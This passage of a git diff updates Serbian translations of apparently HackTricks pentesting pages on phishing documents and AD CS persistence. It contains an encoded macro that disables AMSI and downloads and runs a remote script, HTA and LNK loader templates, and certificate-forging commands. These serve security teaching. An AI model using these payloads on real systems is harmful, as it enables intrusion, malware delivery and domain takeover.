CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||||
@ -66,24 +64,24 @@ proc.Create "powershell <beacon line generated>
|
|||||||
```
|
```
|
||||||
#### Ručno uklonite metapodatke
|
#### Ručno uklonite metapodatke
|
||||||
|
|
||||||
Idite na **File > Info > Inspect Document > Inspect Document**, što će otvoriti Inspektor dokumenta. Kliknite **Inspect** i zatim **Remove All** pored **Document Properties and Personal Information**.
|
Idite na **File > Info > Inspect Document > Inspect Document**, što će otvoriti Document Inspector. Kliknite **Inspect** i zatim **Remove All** pored **Document Properties and Personal Information**.
|
||||||
|
|
||||||
#### Ekstenzija dokumenta
|
#### Ekstenzija dokumenta
|
||||||
|
|
||||||
Kada završite, izaberite padajući meni **Save as type**, promenite format sa **`.docx`** na **Word 97-2003 `.doc`**.\
|
Kada završite, izaberite padajući meni **Save as type**, promenite format sa **`.docx`** na **Word 97-2003 `.doc`**.\
|
||||||
Uradite ovo zato što **ne možete sačuvati makroe unutar `.docx`** i postoji **stigmatizacija** oko makro-omogućenog **`.docm`** formata (npr. sličica ima veliki `!` i neki web/email gateway-ovi ih potpuno blokiraju). Stoga je ova **nasleđena `.doc` ekstenzija najbolji kompromis**.
|
Uradite ovo zato što ne možete sačuvati **macros** unutar **`.docx`**, i postoji **stigmatizacija** **oko** macro-enabled **`.docm`** ekstenzije (npr. ikona sličice ima ogroman `!` i neki web/email gateway-ovi ih u potpunosti blokiraju). Stoga je ova **legacy `.doc` ekstenzija najbolje kompromisno rešenje**.
|
||||||
|
|
||||||
#### Malicious Macros Generators
|
#### Generatori zlonamernih Macros
|
||||||
|
|
||||||
- MacOS
|
- MacOS
|
||||||
- [**macphish**](https://github.com/cldrn/macphish)
|
- [**macphish**](https://github.com/cldrn/macphish)
|
||||||
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
||||||
|
|
||||||
## HTA Files
|
## HTA fajlovi
|
||||||
|
|
||||||
HTA je Windows program koji **kombinuje HTML i skriptne jezike (kao što su VBScript i JScript)**. Generiše korisnički interfejs i izvršava se kao aplikacija kojoj je u potpunosti verovano, bez ograničenja sigurnosnog modela pregledača.
|
HTA je Windows program koji **kombinuje HTML i skriptne jezike (kao što su VBScript i JScript)**. Generiše korisnički interfejs i izvršava se kao "fully trusted" aplikacija, bez ograničenja sigurnosnog modela pregledača.
|
||||||
|
|
||||||
HTA se izvršava pomoću **`mshta.exe`**, koji je obično **instaliran** zajedno sa **Internet Explorer**, što čini **`mshta` dependant on IE**. Dakle, ako je on deinstaliran, HTA fajlovi neće moći da se izvrše.
|
HTA se izvršava pomoću **`mshta.exe`**, koji se obično instalira zajedno sa **Internet Explorer**, što čini **`mshta`** zavisnim od IE. Dakle, ako je on deinstaliran, HTA fajlovi neće moći da se izvrše.
|
||||||
```html
|
```html
|
||||||
<--! Basic HTA Execution -->
|
<--! Basic HTA Execution -->
|
||||||
<html>
|
<html>
|
||||||
@ -138,9 +136,9 @@ var_func
|
|||||||
self.close
|
self.close
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
## Forsiranje NTLM autentifikacije
|
## Forsiranje NTLM autentikacije
|
||||||
|
|
||||||
Postoji nekoliko načina da **forsirate NTLM autentifikaciju "remotely"**, na primer, možete dodati **nevidljive slike** u emailove ili HTML koje će korisnik otvoriti (čak i HTTP MitM?). Ili poslati žrtvi **adresu fajlova** koja će **pokrenuti** **autentifikaciju** samo otvaranjem fascikle.
|
Postoji nekoliko načina da **forsirate NTLM autentikaciju „na daljinu“**, na primer, možete dodati **nevidljive slike** u mejlove ili HTML koje će korisnik otvoriti (čak i HTTP MitM?). Ili poslati žrtvi **adresu fajlova** koja će **okidati** **autentikaciju** samo otvaranjem foldera.
|
||||||
|
|
||||||
**Pogledajte ove ideje i još više na sledećim stranicama:**
|
**Pogledajte ove ideje i još više na sledećim stranicama:**
|
||||||
|
|
||||||
@ -156,24 +154,24 @@ Postoji nekoliko načina da **forsirate NTLM autentifikaciju "remotely"**, na pr
|
|||||||
|
|
||||||
### NTLM Relay
|
### NTLM Relay
|
||||||
|
|
||||||
Ne zaboravite da ne možete samo ukrasti heš ili autentifikaciju, već i **perform NTLM relay attacks**:
|
Ne zaboravite da ne možete samo ukrasti hash ili autentikaciju već i **perform NTLM relay attacks**:
|
||||||
|
|
||||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||||
|
|
||||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||||
|
|
||||||
Vrlo efikasne kampanje isporučuju ZIP koji sadrži dva legitimna decoy dokumenta (PDF/DOCX) i maliciozni .lnk. Trik je u tome da je stvarni PowerShell loader smešten unutar sirovih bajtova ZIP-a nakon jedinstvenog markera, a .lnk ga izdvoji i izvršava potpuno u memoriji.
|
Veoma efektivne kampanje isporučuju ZIP koji sadrži dva legitimno izgledajuća dokumenta (PDF/DOCX) i zlonamerni .lnk. Trik je u tome što je stvarni PowerShell loader smešten unutar sirovih bajtova ZIP-a nakon jedinstvenog markera, a .lnk ga izrezuje i izvršava u celosti u memoriji.
|
||||||
|
|
||||||
Tipičan tok koji implementira .lnk PowerShell one-liner:
|
Tipičan tok koji implementira .lnk PowerShell one-liner:
|
||||||
|
|
||||||
1) Pronađi originalni ZIP u uobičajenim putanjama: Desktop, Downloads, Documents, %TEMP%, %ProgramData% i roditeljskom direktorijumu trenutnog radnog direktorijuma.
|
1) Locate the original ZIP in common paths: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, and the parent of the current working directory.
|
||||||
2) Pročitaj bajtove ZIP-a i pronađi hardkodovani marker (npr. xFIQCV). Sve posle markera je ugrađeni PowerShell payload.
|
2) Read the ZIP bytes and find a hardcoded marker (e.g., xFIQCV). Everything after the marker is the embedded PowerShell payload.
|
||||||
3) Kopiraj ZIP u %ProgramData%, ekstrahuj tamo i otvori decoy .docx da bi izgledalo legitimno.
|
3) Copy the ZIP to %ProgramData%, extract there, and open the decoy .docx to appear legitimate.
|
||||||
4) Zaobiđi AMSI za trenutni proces: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
4) Bypass AMSI for the current process: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||||
5) Deobfuskuj sledeću fazu (npr. ukloni sve # karaktere) i izvrši je u memoriji.
|
5) Deobfuskujte naredni stejdž (npr. uklonite sve # karaktere) i izvršite ga u memoriji.
|
||||||
|
|
||||||
Primer PowerShell kostura za izdvajanje i pokretanje ugrađene faze:
|
Primer PowerShell skeleta za izvlačenje i izvršavanje ugrađenog stejdža:
|
||||||
```powershell
|
```powershell
|
||||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||||
$paths = @(
|
$paths = @(
|
||||||
@ -191,11 +189,11 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
|||||||
Invoke-Expression $code
|
Invoke-Expression $code
|
||||||
```
|
```
|
||||||
Napomene
|
Napomene
|
||||||
- Dostava često zloupotrebljava ugledne PaaS poddomene (npr. *.herokuapp.com) i može uslovljavati payloads (servira benign ZIPs bazirano na IP/UA).
|
- Dostava često zloupotrebljava ugledne PaaS poddomene (npr. *.herokuapp.com) i može ograničiti payloads (poslužiti benigni ZIP prema IP/UA).
|
||||||
- Sledeća faza često dekriptuje base64/XOR shellcode i izvršava ga putem Reflection.Emit + VirtualAlloc kako bi se minimizovali artefakti na disku.
|
- Sledeća faza često dešifruje base64/XOR shellcode i izvršava ga putem Reflection.Emit + VirtualAlloc kako bi smanjila tragove na disku.
|
||||||
|
|
||||||
Persistence korišćena u istom lancu
|
Persistence korišćen u istom lancu
|
||||||
- COM TypeLib hijacking of the Microsoft Web Browser control tako da IE/Explorer ili bilo koja aplikacija koja ga ugrađuje ponovo automatski pokreće payload. See details and ready-to-use commands here:
|
- COM TypeLib hijacking of the Microsoft Web Browser control tako da IE/Explorer ili bilo koja app koja ga ugradi ponovo automatski pokrene payload. Pogledajte detalje i gotove komande ovde:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||||
@ -203,11 +201,20 @@ Persistence korišćena u istom lancu
|
|||||||
|
|
||||||
Hunting/IOCs
|
Hunting/IOCs
|
||||||
- ZIP fajlovi koji sadrže ASCII marker string (npr. xFIQCV) dodat na podatke arhive.
|
- ZIP fajlovi koji sadrže ASCII marker string (npr. xFIQCV) dodat na podatke arhive.
|
||||||
- .lnk koji enumeriše parent/user foldere da pronađe ZIP i otvara decoy dokument.
|
- .lnk koji pretražuje parent/user foldere da locira ZIP i otvori lažni dokument.
|
||||||
- AMSI manipulacija putem [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||||
- Dugotrajne poslovne konverzacije koje se završavaju linkovima hostovanim na pouzdanim PaaS domenima.
|
- Dugotrajni business threads koji se završavaju linkovima hostovanim na pouzdanim PaaS domenima.
|
||||||
|
|
||||||
## References
|
## Windows fajlovi za krađu NTLM hashes
|
||||||
|
|
||||||
|
Proverite stranicu o **mestima za krađu NTLM creds**:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||||
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||||
|
@ -1,27 +1,27 @@
|
|||||||
# AD CS Perzistencija u domenu
|
# AD CS Domain Persistence
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**Ovo je sažetak tehnika perzistencije u domenu podeljenih u [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Proverite taj izvor za dodatne detalje.
|
**Ovo je sažetak tehnika perzistencije u domenu iz [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Pogledajte ga za više detalja.
|
||||||
|
|
||||||
## Lažiranje sertifikata sa ukradenim CA sertifikatima - DPERSIST1
|
## Forging Certificates with Stolen CA Certificates - DPERSIST1
|
||||||
|
|
||||||
Kako možete da utvrdite da je sertifikat CA sertifikat?
|
How can you tell that a certificate is a CA certificate?
|
||||||
|
|
||||||
Može se utvrditi da je sertifikat CA sertifikat ako su ispunjeni sledeći uslovi:
|
It can be determined that a certificate is a CA certificate if several conditions are met:
|
||||||
|
|
||||||
- Sertifikat je uskladišten na CA serveru, a njegov privatni ključ je zaštićen mašinskim DPAPI-jem ili hardverom poput TPM/HSM ako operativni sistem to podržava.
|
- Sertifikat je smešten na CA serveru, a njegov privatni ključ je zaštićen DPAPI-jem mašine, ili hardverom kao što su TPM/HSM ako operativni sistem to podržava.
|
||||||
- Polja Issuer i Subject sertifikata se poklapaju sa distinguished name-om CA.
|
- Polja Issuer i Subject sertifikata se poklapaju sa distinguished name CA.
|
||||||
- Ekstenzija "CA Version" prisutna je isključivo u CA sertifikatima.
|
- Ekstenzija "CA Version" prisutna je isključivo u CA sertifikatima.
|
||||||
- Sertifikat nema polja Extended Key Usage (EKU).
|
- Sertifikat nema Extended Key Usage (EKU) polja.
|
||||||
|
|
||||||
Za izvlačenje privatnog ključa ovog sertifikata, alat `certsrv.msc` na CA serveru je podržana metoda putem ugrađenog GUI-ja. Ipak, ovaj sertifikat se ne razlikuje od ostalih pohranjenih u sistemu; stoga se za ekstrakciju mogu primeniti metode kao što je [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2).
|
Za ekstrakciju privatnog ključa ovog sertifikata, podržani metod je korišćenje alata certsrv.msc na CA serveru putem ugrađenog GUI-ja. Ipak, ovaj sertifikat se ne razlikuje od ostalih koji su pohranjeni u sistemu; stoga se mogu primeniti metode kao što je [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) za ekstrakciju.
|
||||||
|
|
||||||
Sertifikat i privatni ključ se takođe mogu dobiti korišćenjem Certipy pomoću sledeće naredbe:
|
Sertifikat i privatni ključ se takođe mogu dobiti pomoću Certipy sa sledećom naredbom:
|
||||||
```bash
|
```bash
|
||||||
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
|
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
|
||||||
```
|
```
|
||||||
Po pribavljanju CA sertifikata i njegovog privatnog ključa u `.pfx` formatu, alati poput [ForgeCert](https://github.com/GhostPack/ForgeCert) mogu se koristiti za generisanje validnih sertifikata:
|
Nakon pribavljanja CA sertifikata i njegovog privatnog ključa u `.pfx` formatu, alati poput [ForgeCert](https://github.com/GhostPack/ForgeCert) mogu se iskoristiti za generisanje važećih sertifikata:
|
||||||
```bash
|
```bash
|
||||||
# Generating a new certificate with ForgeCert
|
# Generating a new certificate with ForgeCert
|
||||||
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
|
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
|
||||||
@ -36,19 +36,19 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa
|
|||||||
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
|
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
|
||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Korisnik kome je cilj falsifikovanje sertifikata mora biti aktivan i sposoban da se autentifikuje u Active Directory-ju da bi proces uspeo. Falsifikovanje sertifikata za specijalne naloge kao što je krbtgt nije efikasno.
|
> Korisnik koji je meta falsifikovanja sertifikata mora biti aktivan i sposoban da se autentifikuje u Active Directory da bi proces uspeo. Falsifikovanje sertifikata za specijalne naloge kao što je krbtgt je neefikasno.
|
||||||
|
|
||||||
Ovaj falsifikovani sertifikat će biti **važeći** do navedenog datuma isteka i sve dok je korenski CA sertifikat **važeći** (obično od 5 do **10+ godina**). Takođe važi za **mašine**, pa u kombinaciji sa **S4U2Self**, napadač može **održavati persistenciju na bilo kojoj mašini u domenu** sve dok CA sertifikat važi.\
|
Ovaj falsifikovani sertifikat će biti **važeći** do datuma isteka navedenog i sve dok root CA sertifikat bude važeći (obično od 5 do **10+ godina**). Takođe je važeći za **mašine**, pa u kombinaciji sa **S4U2Self**, napadač može **održavati persistence na bilo kojoj mašini u domenu** sve dok je CA sertifikat važeći.\
|
||||||
Štaviše, **sertifikati generisani** ovom metodom **ne mogu biti opozvani** jer CA za njih nije svestan.
|
Štaviše, **sertifikati generisani** ovom metodom **ne mogu biti opozvani** jer CA za njih nije svestan.
|
||||||
|
|
||||||
### Rad pod Strong Certificate Mapping Enforcement (2025+)
|
### Rad pod Strong Certificate Mapping Enforcement (2025+)
|
||||||
|
|
||||||
Od 11. februara 2025. (posle roll-out-a KB5014754), kontroleri domena podrazumevano koriste **Full Enforcement** za mapiranja sertifikata. U praksi to znači da vaši falsifikovani sertifikati moraju ili:
|
Since February 11, 2025 (after KB5014754 rollout), domain controllers default to **Full Enforcement** for certificate mappings. Practically this means your forged certificates must either:
|
||||||
|
|
||||||
- Sadržati snažnu vezu sa ciljnim nalogom (na primer, SID security extension), ili
|
- Sadržati snažnu vezu sa ciljnim nalogom (na primer, the SID security extension), ili
|
||||||
- Biti upareni sa jakim, eksplicitnim mapiranjem na atributu ciljnog objekta `altSecurityIdentities`.
|
- Biti upareni sa snažnim, eksplicitnim mapiranjem na `altSecurityIdentities` atributu ciljnog objekta.
|
||||||
|
|
||||||
Pouzdan pristup za održavanje persistencije je da se izda falsifikovani sertifikat povezan sa ukradenim Enterprise CA i zatim doda snažno eksplicitno mapiranje na žrtvinom principal-u:
|
A reliable approach for persistence is to mint a forged certificate chained to the stolen Enterprise CA and then add a strong explicit mapping to the victim principal:
|
||||||
```powershell
|
```powershell
|
||||||
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
|
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
|
||||||
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
|
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
|
||||||
@ -57,14 +57,15 @@ $Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
|
|||||||
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
||||||
```
|
```
|
||||||
Napomene
|
Napomene
|
||||||
- Ako možete kreirati forged certificates koji uključuju SID security extension, oni će se mapirati implicitno čak i pod Full Enforcement. U suprotnom, preferirajte eksplicitna snažna mapiranja. See [account-persistence](account-persistence.md) for more on explicit mappings.
|
- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See
|
||||||
- Opoziv ovde ne pomaže braniteljima: forged certificates nisu poznati CA database i stoga ih nije moguće opozvati.
|
[account-persistence](account-persistence.md) for more on explicit mappings.
|
||||||
|
- Revocation does not help defenders here: forged certificates are unknown to the CA database and thus cannot be revoked.
|
||||||
|
|
||||||
## Trusting Rogue CA Certificates - DPERSIST2
|
## Trusting Rogue CA Certificates - DPERSIST2
|
||||||
|
|
||||||
Objekat `NTAuthCertificates` je definisan da sadrži jedan ili više **CA certificates** u okviru svog `cacertificate` atributa, koji koristi Active Directory (AD). Proces verifikacije od strane **domain controller** uključuje proveru objekta `NTAuthCertificates` da li postoji unos koji odgovara **CA specified** u polju Issuer autentifikacione **certificate**. Autentifikacija se nastavlja ako se nađe podudaranje.
|
The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **domain controller** involves checking the `NTAuthCertificates` object for an entry matching the **CA specified** in the Issuer field of the authenticating **certificate**. Authentication proceeds if a match is found.
|
||||||
|
|
||||||
Napadač može dodati self-signed CA certificate u objekat `NTAuthCertificates`, pod uslovom da ima kontrolu nad ovim AD objektom. Obično samo članovi grupe **Enterprise Admin**, zajedno sa **Domain Admins** ili **Administrators** u **forest root’s domain**, imaju dozvolu da modifikuju ovaj objekat. Mogu izmeniti objekat `NTAuthCertificates` koristeći `certutil.exe` komandom `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, ili koristeći [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest root’s domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||||
|
|
||||||
Additional helpful commands for this technique:
|
Additional helpful commands for this technique:
|
||||||
```bash
|
```bash
|
||||||
@ -77,34 +78,34 @@ certutil -enterprise -delstore NTAuth <Thumbprint>
|
|||||||
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
|
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
|
||||||
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
|
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
|
||||||
```
|
```
|
||||||
Ova mogućnost je posebno relevantna kada se koristi zajedno sa ranije opisanim metodom koja uključuje ForgeCert za dinamičko generisanje sertifikata.
|
Ova mogućnost je posebno relevantna kada se koristi zajedno sa prethodno opisanom metodom koja uključuje ForgeCert za dinamičko generisanje sertifikata.
|
||||||
|
|
||||||
> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
|
> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
|
||||||
|
|
||||||
## Malicious Misconfiguration - DPERSIST3
|
## Maliciozna pogrešna konfiguracija - DPERSIST3
|
||||||
|
|
||||||
Mogućnosti za **persistence** putem **izmena security descriptor-a komponenti AD CS** su brojne. Izmene opisane u "[Domain Escalation](domain-escalation.md)" sekciji mogu biti zlonamerno sprovedene od strane napadača sa povišenim privilegijama. To uključuje dodavanje "control rights" (npr. `WriteOwner`/`WriteDACL`/itd.) osetljivim komponentama kao što su:
|
Mogućnosti za **persistence** kroz izmene security descriptor-a AD CS komponenti su brojne. Izmene opisane u sekciji [Eskalacija domena](domain-escalation.md) mogu biti zlonamerno implementirane od strane napadača sa povišenim privilegijama. To uključuje dodavanje "control rights" (npr. `WriteOwner`/`WriteDACL`/itd.) osetljivim komponentama kao što su:
|
||||||
|
|
||||||
- The **CA server’s AD computer** object
|
- **AD computer objekat CA servera**
|
||||||
- The **CA server’s RPC/DCOM server**
|
- **RPC/DCOM server CA servera**
|
||||||
- Any **descendant AD object or container** in **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (for instance, the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.)
|
- Bilo koji **descendant AD object or container** u **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (na primer, Certificate Templates container, Certification Authorities container, the `NTAuthCertificates` object, itd.)
|
||||||
- **AD groups delegated rights to control AD CS** by default or by the organization (such as the built-in Cert Publishers group and any of its members)
|
- **AD grupe kojima su dodeljena prava za kontrolu AD CS** po defaultu ili od strane organizacije (kao što je ugrađena Cert Publishers grupa i bilo koji od njenih članova)
|
||||||
|
|
||||||
Primer zlonamerne implementacije bi uključivao napadača koji ima **povišene dozvole** u domenu i dodaje `WriteOwner` dozvolu na podrazumevani `User` certificate template, pri čemu je napadač subjekt za to pravo. Da bi iskoristio ovo, napadač bi prvo promenio ownership `User` template-a na sebe. Nakon toga, `mspki-certificate-name-flag` bi bio postavljen na **1** na template-u da omogući `ENROLLEE_SUPPLIES_SUBJECT`, dopuštajući korisniku da u zahtevu navede Subject Alternative Name. Zatim bi se napadač mogao **enroll-ovati** koristeći taj **template**, izabrati ime **domain administrator-a** kao alternativno ime, i iskoristiti dobijeni sertifikat za autentifikaciju kao DA.
|
Primer zlonamerne implementacije bi uključivao napadača koji ima **elevated permissions** u domeni i dodaje dozvolu **`WriteOwner`** na podrazumevani `User` certificate template, sa napadačem postavljenim kao principal za to pravo. Da bi iskoristio ovo, napadač bi prvo promenio ownership `User` template-a na sebe. Nakon toga, `mspki-certificate-name-flag` bi bio postavljen na **1** na template-u da omogući **`ENROLLEE_SUPPLIES_SUBJECT`**, što dozvoljava korisniku da navede Subject Alternative Name u zahtevu. Zatim bi napadač mogao da se **enroll**-uje koristeći taj **template**, izabere ime domain administrator-a kao alternativni naziv i iskoristi pribavljeni sertifikat za autentifikaciju kao DA.
|
||||||
|
|
||||||
Praktični parametri koje napadači mogu podesiti za dugoročnu persistenciju u domenu (vidi {{#ref}}domain-escalation.md{{#endref}} za kompletne detalje i detekciju):
|
Praktične postavke koje napadači mogu podesiti za dugoročnu persistence u domenu (pogledajte {{#ref}}domain-escalation.md{{#endref}} za potpune detalje i detekciju):
|
||||||
|
|
||||||
- CA policy flags koji dozvoljavaju SAN iz zahteva (npr. omogućavanje `EDITF_ATTRIBUTESUBJECTALTNAME2`). Ovo održava exploitable putanje slične ESC1.
|
- CA policy flags koje dozvoljavaju SAN iz zahtevaoca (npr. omogućavanje `EDITF_ATTRIBUTESUBJECTALTNAME2`). Ovo ostavlja ESC1-like puteve iskoristivim.
|
||||||
- Template DACL ili podešavanja koja dopuštaju izdavanje sposobno za autentifikaciju (npr. dodavanje Client Authentication EKU, omogućavanje `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
- Template DACL ili podešavanja koja omogućavaju izdavanje sposobno za autentifikaciju (npr. dodavanje Client Authentication EKU, omogućavanje `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
||||||
- Kontrolisanje `NTAuthCertificates` objekta ili CA container-a da kontinuirano vrate rogue issuere ako branioci pokušaju čišćenje.
|
